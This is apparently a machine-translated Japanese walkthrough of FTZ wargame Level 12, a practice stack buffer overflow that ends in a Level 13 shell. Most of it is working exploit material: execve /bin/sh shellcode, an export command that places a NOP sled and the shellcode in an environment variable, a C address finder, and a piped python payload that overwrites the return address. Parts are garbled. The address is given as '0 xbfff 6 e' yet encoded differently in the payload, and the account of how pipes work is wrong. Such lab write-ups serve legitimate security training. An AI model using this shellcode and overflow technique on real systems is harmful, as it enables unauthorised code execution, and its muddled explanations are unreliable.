FTZ Level 12


hintは以下の通りです.

プログラム実行パラメータからget関数に文字列をインポートする以外は、Level 11と何の違いもありません.
ソースコードを再コンパイルし、gdbで取り外します.

スタックの基本フレームは、で作成し、に0 x 108(264バイト)のスペースを割り当てることができます.
積層構造は、Level 11の配列長と同じであるため、同じである.
strは256バイト,dummyは8バイトであり,SFPとRETはそれぞれ4バイトを占める.
RETを用いて攻撃する必要があるため,我々はLevel 11のような手法を用いて環境変数を利用する.
以下に、Level 11で使用される25バイトのShellコードを示す.
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80
適切なNOP値とともに、以下のコマンドを使用してSHLという環境変数に格納します.
export SHL=`python -c 'print "\x90"*100+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
次のプログラムを使用して、環境変数のアドレスを決定します.
#include <stdio.h>
#include <stdlib.h>

int main() {
    printf("address: %p\n", getenv("SHL"));
    return 0;
}
環境変数のアドレスが変わる可能性を考慮して5回程度運転したところ,アドレスは0 xbfff 6 eであることが分かった.
Level 11攻撃時の文字列入力方式とは異なるので、攻撃方式は以下のようになります.
(python -c 'print "A"*268+"\x6e\xff\xff\xbf"'; cat) | ./attackme
ここで|(パイプ)を使用する理由は、|複数のコマンドに障害が発生した場合に、まず右コマンドを実行し、左側のコマンドを右コマンドの標準入力として出力するためである.grepのみで必要なコンテンツを検索する場合にも使用できます.|理由を表す(セミコロン)に似ていますが、セミコロンには標準的な入力伝達機能はありません.

攻撃後は何も見えないので慌てず、IDを入力するとLevel 13のシェルが得られたことがわかります.